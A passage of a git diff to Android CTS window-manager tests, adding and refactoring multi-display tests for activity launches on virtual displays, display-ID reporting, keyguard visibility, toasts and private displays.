         final Rect containingRect = mWindowState.getContainingFrame();
-        final Rect appRect = mDisplay.getAppRect();
+        final Rect stableBounds = mDisplay.getStableBounds();
         final int expectedWidthPx, expectedHeightPx;
         // Evaluate the expected window size in px. If we're using fraction dimensions,
         // calculate the size based on the app rect size. Otherwise, convert the expected
         // size in dp to px.
         if (fraction) {
-            expectedWidthPx = (int) (appRect.width() * DEFAULT_WIDTH_FRACTION);
-            expectedHeightPx = (int) (appRect.height() * DEFAULT_HEIGHT_FRACTION);
+            expectedWidthPx = (int) (stableBounds.width() * DEFAULT_WIDTH_FRACTION);
+            expectedHeightPx = (int) (stableBounds.height() * DEFAULT_HEIGHT_FRACTION);
         } else {
             final int densityDpi = mDisplay.getDpi();
             expectedWidthPx = dpToPx(DEFAULT_WIDTH_DP, densityDpi);
             expectedHeightPx = dpToPx(DEFAULT_HEIGHT_DP, densityDpi);
         }
 
-        verifyFrameSizeAndPosition(
-                vGravity, hGravity, expectedWidthPx, expectedHeightPx, containingRect, appRect);
+        verifyFrameSizeAndPosition(vGravity, hGravity, expectedWidthPx, expectedHeightPx,
+                containingRect, stableBounds);
     }
 
     private void getDisplayAndWindowState(ComponentName activityName, boolean checkFocus)
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index 67f1db8..8f5906b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -19,13 +19,17 @@
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_SINGLE_TOP;
 import static android.server.wm.ActivityLauncher.KEY_LAUNCH_ACTIVITY;
 import static android.server.wm.ActivityLauncher.KEY_NEW_TASK;
 import static android.server.wm.ActivityManagerState.STATE_RESUMED;
 import static android.server.wm.ActivityManagerState.STATE_STOPPED;
 import static android.server.wm.ComponentNameUtils.getActivityName;
+import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.app.Components.ALT_LAUNCHING_ACTIVITY;
 import static android.server.wm.app.Components.BROADCAST_RECEIVER_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
@@ -35,6 +39,7 @@
 import static android.server.wm.app.Components.SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2;
 import static android.server.wm.app.Components.SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.TOP_ACTIVITY;
 import static android.server.wm.app.Components.VIRTUAL_DISPLAY_ACTIVITY;
 import static android.server.wm.second.Components.SECOND_ACTIVITY;
 import static android.server.wm.second.Components.SECOND_LAUNCH_BROADCAST_ACTION;
@@ -42,6 +47,8 @@
 import static android.server.wm.third.Components.THIRD_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
@@ -49,8 +56,12 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.app.ActivityOptions;
+import android.app.PendingIntent;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.Intent;
+import android.content.res.Configuration;
+import android.hardware.display.DisplayManager;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.ActivityManagerState.ActivityDisplay;
@@ -71,6 +82,7 @@
  *  Tests activity launching behavior on multi-display environment.
  */
 @Presubmit
+@android.server.wm.annotation.Group3
 public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase {
 
     @Before
@@ -217,7 +229,7 @@
 
     /**
      * Tests launching a non-resizeable activity on virtual display. It should land on the
-     * virtual display.
+     * virtual display with correct configuration.
      */
     @Test
     public void testLaunchNonResizeableActivityOnSecondaryDisplay() throws Exception {
@@ -230,6 +242,19 @@
 
             waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, newDisplay.mId,
                     "Activity requested to launch on secondary display must be focused");
+
+            final Configuration taskConfig = mAmWmState.getAmState()
+                    .getTaskByActivity(NON_RESIZEABLE_ACTIVITY).mFullConfiguration;
+            final Configuration displayConfig = mAmWmState.getWmState()
+                    .getDisplay(newDisplay.mId).mFullConfiguration;
+
+            // Check that activity config corresponds to display config.
+            assertEquals("Activity launched on secondary display must have proper configuration",
+                    taskConfig.densityDpi, displayConfig.densityDpi);
+
+            assertEquals("Activity launched on secondary display must have proper configuration",
+                    taskConfig.windowConfiguration.getBounds(),
+                    displayConfig.windowConfiguration.getBounds());
         }
     }
 
@@ -257,12 +282,11 @@
             // Try to move the non-resizeable activity to the top of stack on secondary display.
             moveActivityToStack(NON_RESIZEABLE_ACTIVITY, externalFrontStackId);
             // Wait for a while to check that it will move.
-            mAmWmState.waitForWithAmState(state ->
-                    newDisplay.mId == state.getDisplayByActivity(NON_RESIZEABLE_ACTIVITY),
-                    "Waiting to see if activity is moved");
-            assertEquals("Non-resizeable activity should be moved",
-                    newDisplay.mId,
-                    mAmWmState.getAmState().getDisplayByActivity(NON_RESIZEABLE_ACTIVITY));
+            assertTrue("Non-resizeable activity should be moved",
+                    mAmWmState.waitForWithAmState(
+                            state -> newDisplay.mId == state
+                                    .getDisplayByActivity(NON_RESIZEABLE_ACTIVITY),
+                            "seeing if activity won't be moved"));
 
             waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, newDisplay.mId,
                     "The moved non-resizeable activity must be focused");
@@ -492,6 +516,7 @@
     @Test
     public void testLaunchPendingActivityOnSecondaryDisplay() throws Exception {
         try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+            pressHomeButton();
             // Create new simulated display.
             final ActivityDisplay newDisplay = virtualDisplaySession.setSimulateDisplay(true)
                     .createDisplay();
@@ -504,8 +529,7 @@
                     .putExtra(KEY_NEW_TASK, true);
             mContext.startActivity(intent, bundle);
 
-            // ActivityManagerTestBase.setup would press home key event, which would cause
-            // PhoneWindowManager.startDockOrHome to call AMS.stopAppSwitches.
+            // If home key was pressed, stopAppSwitches will be called.
             // Since this test case is not start activity from shell, it won't grant
             // STOP_APP_SWITCHES and this activity should be put into pending activity queue
             // and this activity should been launched after
@@ -848,4 +872,88 @@
                             SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3));
         }
     }
+
+    @Test
+    public void testLaunchPendingIntentActivity() throws Exception {
+        final DisplayManager displayManager =
+                getInstrumentation().getContext().getSystemService(DisplayManager.class);
+
+        try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+            final ActivityDisplay activityDisplay =
+                    virtualDisplaySession.setSimulateDisplay(true).createDisplay();
+
+            // Activity should be launched on primary display by default.
+            getPendingIntentActivity(TEST_ACTIVITY).send();
+            waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                    "Activity launched on primary display and on top");
+
+            // Activity should be launched on target display according to the caller context.
+            final Context displayContext =
+                    mContext.createDisplayContext(displayManager.getDisplay(activityDisplay.mId));
+            getPendingIntentActivity(TOP_ACTIVITY).send(displayContext, 1 /* code */,
+                    null /* intent */);
+            waitAndAssertTopResumedActivity(TOP_ACTIVITY, activityDisplay.mId,
+                    "Activity launched on secondary display and on top");
+
+            // Activity should be brought to front on the same display if it already existed.
+            getPendingIntentActivity(TEST_ACTIVITY).send(displayContext, 1 /* code */,
+                    null /* intent */);
+            waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                    "Activity launched on primary display and on top");
+
+            // Activity should be moved to target display.
+            ActivityOptions options = ActivityOptions.makeBasic();
+            options.setLaunchDisplayId(activityDisplay.mId);
+            getPendingIntentActivity(TEST_ACTIVITY).send(getInstrumentation().getContext(),
+                    1 /* code */, null /* intent */, null /* onFinished */, null /* handler */,
+                    null /* requiredPermission */, options.toBundle());
+            waitAndAssertTopResumedActivity(TEST_ACTIVITY, activityDisplay.mId,
+                    "Activity launched on secondary display and on top");
+        }
+    }
+
+    @Test
+    public void testLaunchActivityClearTask() throws Exception {
+        assertBroughtExistingTaskToAnotherDisplay(FLAG_ACTIVITY_CLEAR_TASK, LAUNCHING_ACTIVITY);
+    }
+
+    @Test
+    public void testLaunchActivityClearTop() throws Exception {
+        assertBroughtExistingTaskToAnotherDisplay(FLAG_ACTIVITY_CLEAR_TOP, LAUNCHING_ACTIVITY);
+    }
+
+    @Test
+    public void testLaunchActivitySingleTop() throws Exception {
+        assertBroughtExistingTaskToAnotherDisplay(FLAG_ACTIVITY_SINGLE_TOP, TEST_ACTIVITY);
+    }
+
+    private void assertBroughtExistingTaskToAnotherDisplay(int flags, ComponentName topActivity)
+            throws Exception {
+        // Start TEST_ACTIVITY on top of LAUNCHING_ACTIVITY within the same task
+        getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY).execute();
+
+        try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+            final ActivityDisplay newDisplay =
+                    virtualDisplaySession.setSimulateDisplay(true).createDisplay();
+
+            // Start LAUNCHING_ACTIVITY on secondary display with target flags, verify the task
+            // be reparented to secondary display
+            getLaunchActivityBuilder()
+                    .setUseInstrumentation()
+                    .setTargetActivity(LAUNCHING_ACTIVITY)
+                    .setIntentFlags(flags)
+                    .allowMultipleInstances(false)
+                    .setDisplayId(newDisplay.mId).execute();
+            waitAndAssertTopResumedActivity(topActivity, newDisplay.mId,
+                    "Activity launched on secondary display and on top");
+        }
+    }
+
+    private PendingIntent getPendingIntentActivity(ComponentName activity) {
+        final Intent intent = new Intent();
+        intent.setClassName(activity.getPackageName(), activity.getClassName());
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        return PendingIntent.getActivity(mContext, 1 /* requestCode */, intent,
+                PendingIntent.FLAG_CANCEL_CURRENT);
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
index df087db..272ef00 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
@@ -20,6 +20,7 @@
 import static android.server.wm.CommandSession.ActivityCallback.ON_CONFIGURATION_CHANGED;
 import static android.server.wm.CommandSession.ActivityCallback.ON_RESUME;
 import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.Display.INVALID_DISPLAY;
 import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -28,6 +29,7 @@
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
@@ -36,15 +38,16 @@
 import android.content.Context;
 import android.content.Intent;
 import android.hardware.display.DisplayManager;
-import android.platform.test.annotations.Presubmit;
 import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
 import android.view.Display;
+import android.view.View;
 import android.view.WindowManager;
 import android.view.inputmethod.InputMethodManager;
 import android.widget.EditText;
 import android.widget.LinearLayout;
 
-import androidx.test.filters.FlakyTest;
+import androidx.test.filters.MediumTest;
 import androidx.test.rule.ActivityTestRule;
 
 import com.android.cts.mockime.ImeEventStream;
@@ -60,6 +63,8 @@
  *     atest CtsActivityManagerDeviceTestCases:MultiDisplayClientTests
  */
 @Presubmit
+@MediumTest
+@android.server.wm.annotation.Group3
 public class MultiDisplayClientTests extends MultiDisplayTestBase {
 
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10); // 10 seconds
@@ -73,13 +78,11 @@
     }
 
     @Test
-    @FlakyTest(bugId = 130260102, detail = "Promote to presubmit once proved stable")
     public void testDisplayIdUpdateOnMove_RelaunchActivity() throws Exception {
         testDisplayIdUpdateOnMove(ClientTestActivity.class, false /* handlesConfigChange */);
     }
 
     @Test
-    @FlakyTest(bugId = 130260102, detail = "Promote to presubmit once proved stable")
     public void testDisplayIdUpdateOnMove_NoRelaunchActivity() throws Exception {
         testDisplayIdUpdateOnMove(NoRelaunchActivity.class, true /* handlesConfigChange */);
     }
@@ -103,12 +106,13 @@
             // Move the activity to the new secondary display.
             separateTestJournal();
             final ActivityOptions launchOptions = ActivityOptions.makeBasic();
-            launchOptions.setLaunchDisplayId(newDisplay.mId);
+            final int displayId = newDisplay.mId;
+            launchOptions.setLaunchDisplayId(displayId);
             final Intent newDisplayIntent = new Intent(mContext, activityClass);
             newDisplayIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);
             getInstrumentation().getTargetContext().startActivity(newDisplayIntent,
                     launchOptions.toBundle());
-            waitAndAssertTopResumedActivity(activityName, newDisplay.mId,
+            waitAndAssertTopResumedActivity(activityName, displayId,
                     "Activity moved to secondary display must be focused");
 
             if (handlesConfigChange) {
@@ -119,48 +123,30 @@
                 waitAndAssertResume(activityName);
                 activity = activityTestRule.getActivity();
             }
-            final String message = "Display id must be updated";
-            assertEquals(message, newDisplay.mId, activity.getDisplayId());
-            assertEquals(message, newDisplay.mId, activity.getDisplay().getDisplayId());
+
+            final String suffix = " must be updated.";
+            assertEquals("Activity#getDisplayId()" + suffix, displayId, activity.getDisplayId());
+            assertEquals("Activity#getDisplay" + suffix,
+                    displayId, activity.getDisplay().getDisplayId());
+
             final WindowManager wm = activity.getWindowManager();
-            assertEquals(message, newDisplay.mId, wm.getDefaultDisplay().getDisplayId());
+            assertEquals("WM#getDefaultDisplay()" + suffix,
+                    displayId, wm.getDefaultDisplay().getDisplayId());
+
+            final View view = activity.getWindow().getDecorView();
+            assertEquals("View#getDisplay()" + suffix,
+                    displayId, view.getDisplay().getDisplayId());
         }
     }
 
-    private void waitAndAssertConfigurationChange(ComponentName activityName) {
-        mAmWmState.waitForWithAmState((state) ->
-                        getCallbackCount(activityName, ON_CONFIGURATION_CHANGED) == 1,
-                "waitForConfigurationChange");
-        assertEquals("Must receive a single configuration change", 1,
-                getCallbackCount(activityName, ON_CONFIGURATION_CHANGED));
-    }
-
-    private void waitAndAssertResume(ComponentName activityName) {
-        mAmWmState.waitForWithAmState((state) ->
-                getCallbackCount(activityName, ON_RESUME) == 1, "waitForResume");
-        assertEquals("Must be resumed once", 1, getCallbackCount(activityName, ON_RESUME));
-    }
-
-    private int getCallbackCount(ComponentName activityName,
-            CommandSession.ActivityCallback callback) {
-        final ActivityLifecycleCounts lifecycles = new ActivityLifecycleCounts(activityName);
-        return lifecycles.getCount(callback);
-    }
-
     @Test
-    @FlakyTest(bugId = 130379901, detail = "Promote to presubmit once proved stable")
     public void testDisplayIdUpdateWhenImeMove_RelaunchActivity() throws Exception {
-        try (final TestActivitySession<ClientTestActivity> session = new TestActivitySession<>()) {
-            testDisplayIdUpdateWhenImeMove(ClientTestActivity.class);
-        }
+        testDisplayIdUpdateWhenImeMove(ClientTestActivity.class);
     }
 
     @Test
-    @FlakyTest(bugId = 130379901, detail = "Promote to presubmit once proved stable")
     public void testDisplayIdUpdateWhenImeMove_NoRelaunchActivity() throws Exception {
-        try (final TestActivitySession<NoRelaunchActivity> session = new TestActivitySession<>()) {
-            testDisplayIdUpdateWhenImeMove(NoRelaunchActivity.class);
-        }
+        testDisplayIdUpdateWhenImeMove(NoRelaunchActivity.class);
     }
 
     private void testDisplayIdUpdateWhenImeMove(Class<? extends ImeTestActivity> activityClass)
@@ -196,13 +182,13 @@
         expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
         mAmWmState.waitAndAssertImeWindowShownOnDisplay(targetDisplayId);
 
-        final int displayId = expectCommand(stream, imeSession.callGetDisplayId(), TIMEOUT)
+        final int imeDisplayId = expectCommand(stream, imeSession.callGetDisplayId(), TIMEOUT)
                 .getReturnIntegerValue();
-        assertEquals("Display ID must match", targetDisplayId, displayId);
+        assertEquals("IME#getDisplayId() must match when IME move.",
+                targetDisplayId, imeDisplayId);
     }
 
     @Test
-    @FlakyTest(bugId = 130379901, detail = "Promote to presubmit once proved stable")
     public void testInputMethodManagerDisplayId() throws Exception {
         try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
             // Create a simulated display.
@@ -215,10 +201,93 @@
             final InputMethodManager imm =
                     newDisplayContext.getSystemService(InputMethodManager.class);
 
-            assertEquals(newDisplay.mId, imm.getDisplayId());
+            assertEquals("IMM#getDisplayId() must match.", newDisplay.mId, imm.getDisplayId());
         }
     }
 
+    @Test
+    public void testViewGetDisplayOnPrimaryDisplay() throws Exception {
+        testViewGetDisplay(true /* isPrimary */);
+    }
+
+    @Test
+    public void testViewGetDisplayOnSecondaryDisplay() throws Exception {
+        testViewGetDisplay(false /* isPrimary */);
+    }
+
+    private void testViewGetDisplay(boolean isPrimary) throws Exception {
+        try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession();
+             final TestActivitySession<ClientTestActivity> activitySession =
+                     new TestActivitySession<>()) {
+
+            final ActivityManagerState.ActivityDisplay newDisplay = virtualDisplaySession
+                    .setSimulateDisplay(true).createDisplay();
+            final int displayId = (isPrimary) ? DEFAULT_DISPLAY : newDisplay.mId;
+
+            separateTestJournal();
+            activitySession.launchTestActivityOnDisplaySync(
+                    ClientTestActivity.class, displayId);
+
+            final Activity activity = activitySession.getActivity();
+            final ComponentName activityName = activity.getComponentName();
+
+            waitAndAssertTopResumedActivity(activityName, displayId,
+                    "Activity launched on display:" + displayId + " must be focused");
+
+            // Test View#getdisplay() from activity
+            final View view = activity.getWindow().getDecorView();
+            assertEquals("View#getDisplay() must match.",
+                    displayId, view.getDisplay().getDisplayId());
+
+            final int[] resultDisplayId = new int[] { INVALID_DISPLAY };
+            activitySession.runOnMainAndAssertWithTimeout(
+                    () -> {
+                        // Test View#getdisplay() from WM#addView()
+                        final WindowManager wm = activity.getWindowManager();
+                        final View addedView = new View(activity);
+                        wm.addView(addedView, new WindowManager.LayoutParams());
+
+                        // Get display ID from callback in case the added view has not be attached.
+                        addedView.addOnAttachStateChangeListener(
+                                new View.OnAttachStateChangeListener() {
+                                    @Override
+                                    public void onViewAttachedToWindow(View view) {
+                                        resultDisplayId[0] = view.getDisplay().getDisplayId();
+                                    }
+
+                                    @Override
+                                    public void onViewDetachedFromWindow(View view) {}
+                                });
+
+                        return displayId == resultDisplayId[0];
+                    }, TIMEOUT, "Display from added view must match. "
+                            + "Should be display:" + displayId
+                            + ", but was display:" + resultDisplayId[0]
+            );
+
+        }
+    }
+
+    private void waitAndAssertConfigurationChange(ComponentName activityName) {
+        assertTrue("Must receive a single configuration change",
+                mAmWmState.waitForWithAmState(
+                        state -> getCallbackCount(activityName, ON_CONFIGURATION_CHANGED) == 1,
+                        activityName + " receives configuration change"));
+    }
+
+    private void waitAndAssertResume(ComponentName activityName) {
+        assertTrue("Must be resumed once",
+                mAmWmState.waitForWithAmState(
+                        state -> getCallbackCount(activityName, ON_RESUME) == 1,
+                        activityName + " performs resume"));
+    }
+
+    private static int getCallbackCount(ComponentName activityName,
+            CommandSession.ActivityCallback callback) {
+        final ActivityLifecycleCounts lifecycles = new ActivityLifecycleCounts(activityName);
+        return lifecycles.getCount(callback);
+    }
+
     public static class ClientTestActivity extends ImeTestActivity { }
 
     public static class NoRelaunchActivity extends ImeTestActivity { }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
index 9a51039..7007120 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
@@ -39,6 +39,7 @@
  *     atest CtsWindowManagerDeviceTestCases:MultiDisplayKeyguardTests
  */
 @Presubmit
+@android.server.wm.annotation.Group3
 public class MultiDisplayKeyguardTests extends MultiDisplayTestBase {
 
     @Before
@@ -80,11 +81,10 @@
             final ActivityDisplay publicDisplay = virtualDisplaySession.setPublicDisplay(true)
                     .createDisplay();
             lockScreenSession.gotoKeyguard();
-            mAmWmState.waitForWithWmState((state) -> isKeyguardOnDisplay(state, publicDisplay.mId),
-                    "Waiting for keyguard window to show");
-
             assertTrue("KeyguardDialog must show on external public display",
-                    isKeyguardOnDisplay(mAmWmState.getWmState(), publicDisplay.mId));
+                    mAmWmState.waitForWithWmState(
+                            state -> isKeyguardOnDisplay(state, publicDisplay.mId),
+                            "keyguard window to show"));
 
             // Keyguard dialog mustn't be removed when press back key
             pressBackButton();
@@ -108,11 +108,11 @@
                     .createDisplay();
 
             lockScreenSession.gotoKeyguard();
-            mAmWmState.waitForWithWmState((state) -> isKeyguardOnDisplay(state, publicDisplay.mId),
-                    "Waiting for keyguard window to show");
-
             assertTrue("KeyguardDialog must show on external public display",
-                    isKeyguardOnDisplay(mAmWmState.getWmState(), publicDisplay.mId));
+                    mAmWmState.waitForWithWmState(
+                            state -> isKeyguardOnDisplay(state, publicDisplay.mId),
+                            "keyguard window to show"));
+
             assertFalse("KeyguardDialog must not show on external private display",
                     isKeyguardOnDisplay(mAmWmState.getWmState(), privateDisplay.mId));
         }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayLockedKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayLockedKeyguardTests.java
index 642a3f0..353558d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayLockedKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayLockedKeyguardTests.java
@@ -41,6 +41,7 @@
  *     atest CtsWindowManagerDeviceTestCases:MultiDisplayLockedKeyguardTests
  */
 @Presubmit
+@android.server.wm.annotation.Group3
 public class MultiDisplayLockedKeyguardTests extends MultiDisplayTestBase {
 
     @Before
@@ -56,7 +57,6 @@
      * Test that virtual display content is hidden when device is locked.
      */
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testVirtualDisplayHidesContentWhenLocked() throws Exception {
         try (final LockScreenSession lockScreenSession = new LockScreenSession();
              final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
@@ -137,6 +137,7 @@
         }
     }
 
+    @FlakyTest(bugId = 141674516)
     @Test
     public void testDismissKeyguard_whileOccluded_secondaryDisplay() throws Exception {
         try (final LockScreenSession lockScreenSession =
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index d3aabb7..76086ed 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -21,7 +21,6 @@
 import static android.server.wm.ActivityManagerState.STATE_RESUMED;
 import static android.server.wm.ActivityManagerState.STATE_STOPPED;
 import static android.server.wm.ComponentNameUtils.getWindowName;
-import static android.server.wm.StateLogger.logAlways;
 import static android.server.wm.StateLogger.logE;
 import static android.server.wm.WindowManagerState.TRANSIT_TASK_CLOSE;
 import static android.server.wm.WindowManagerState.TRANSIT_TASK_OPEN;
@@ -49,7 +48,6 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.content.ComponentName;
-import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.ActivityManagerState.ActivityDisplay;
 import android.server.wm.ActivityManagerState.ActivityStack;
@@ -58,13 +56,9 @@
 import android.server.wm.CommandSession.SizeInfo;
 import android.util.SparseArray;
 
-import androidx.test.filters.FlakyTest;
-
 import org.junit.Before;
 import org.junit.Test;
 
-import java.util.concurrent.TimeUnit;
-
 /**
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:MultiDisplayPolicyTests
@@ -72,6 +66,7 @@
  * Tests each expected policy on multi-display environment.
  */
 @Presubmit
+@android.server.wm.annotation.Group3
 public class MultiDisplayPolicyTests extends MultiDisplayTestBase {
 
     @Before
@@ -175,7 +170,7 @@
                     logE("Error waiting for valid state: " + e.getMessage());
                     return false;
                 }
-            }, "Wait for the configuration change to happen and for activity to be resumed.");
+            }, "the configuration change to happen and activity to be resumed");
 
             mAmWmState.computeState(false /* compareTaskAndStackBounds */,
                     new WaitForValidActivityState(RESIZEABLE_ACTIVITY),
@@ -282,20 +277,11 @@
 
             // Wait for the fullscreen stack to start sleeping, and then make sure the
             // test activity is still resumed.
-            int retry = 0;
-            int stopCount = 0;
-            do {
-                stopCount = (new ActivityLifecycleCounts(RESIZEABLE_ACTIVITY))
-                        .getCount(ActivityCallback.ON_STOP);
-                if (stopCount == 1) {
-                    break;
-                }
-                logAlways("***testExternalDisplayActivityTurnPrimaryOff... retry=" + retry);
-                SystemClock.sleep(TimeUnit.SECONDS.toMillis(1));
-            } while (retry++ < 5);
-
-            if (stopCount != 1) {
-                fail(RESIZEABLE_ACTIVITY + " has received " + stopCount
+            final ActivityLifecycleCounts counts = new ActivityLifecycleCounts(RESIZEABLE_ACTIVITY);
+            if (!Condition.waitFor(counts.countWithRetry(RESIZEABLE_ACTIVITY + " to be stopped",
+                    countSpec(ActivityCallback.ON_STOP, CountSpec.EQUALS, 1)))) {
+                fail(RESIZEABLE_ACTIVITY + " has received "
+                        + counts.getCount(ActivityCallback.ON_STOP)
                         + " onStop() calls, expecting 1");
             }
             // For this test we create this virtual display with flag showContentWhenLocked, so it
@@ -359,7 +345,7 @@
                     VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId);
         }
         mAmWmState.waitFor((amState, wmState) -> amState.getDisplayCount() == displayCount,
-                "Waiting for external displays to be removed");
+                "external displays to be removed");
         assertEquals(displayCount, mAmWmState.getAmState().getDisplayCount());
         assertEquals(displayCount, mAmWmState.getAmState().getKeyguardControllerState().
                 mKeyguardOccludedStates.size());
@@ -755,7 +741,6 @@
      * Tests that toast works on a secondary display.
      */
     @Test
-    @FlakyTest(bugId = 131005232)
     public void testSecondaryDisplayShowToast() throws Exception {
         try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
             final ActivityDisplay newDisplay =
@@ -764,11 +749,9 @@
             launchActivityOnDisplay(TOAST_ACTIVITY, newDisplay.mId);
             waitAndAssertTopResumedActivity(TOAST_ACTIVITY, newDisplay.mId,
                     "Activity launched on external display must be resumed");
-            mAmWmState.waitForWithWmState((state) -> state.containsWindow(TOAST_NAME),
-                    "Waiting for toast window to show");
 
-            assertTrue("Toast window must be shown",
-                    mAmWmState.getWmState().containsWindow(TOAST_NAME));
+            assertTrue("Toast window must be shown", mAmWmState.waitForWithWmState(
+                    state -> state.containsWindow(TOAST_NAME), "toast window to show"));
             assertTrue("Toast window must be visible",
                     mAmWmState.getWmState().isWindowVisible(TOAST_NAME));
         }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPrivateDisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPrivateDisplayTests.java
new file mode 100644
index 0000000..0ba5526
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPrivateDisplayTests.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.view.Display.FLAG_PRIVATE;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.Intent;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.ActivityManagerState.ActivityDisplay;
+import android.server.wm.WindowManagerState.Display;
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.util.ArrayList;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:MultiDisplayPrivateDisplayTests
+ *
+ * Tests if be allowed to launch/access an activity on private display
+ * in multi-display environment.
+ */
+@Presubmit
+@android.server.wm.annotation.Group3
+public class MultiDisplayPrivateDisplayTests extends MultiDisplayTestBase {
+    private static final String TAG = "MultiDisplayPrivateDisplayTests";
+    private static final boolean DEBUG = Log.isLoggable(TAG, Log.DEBUG);
+    private static final String INTERNAL_SYSTEM_WINDOW =
+            "android.permission.INTERNAL_SYSTEM_WINDOW";
+    private ArrayList<Integer> mPrivateDisplayIds = new ArrayList<>();
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        assumeTrue(supportsMultiDisplay());
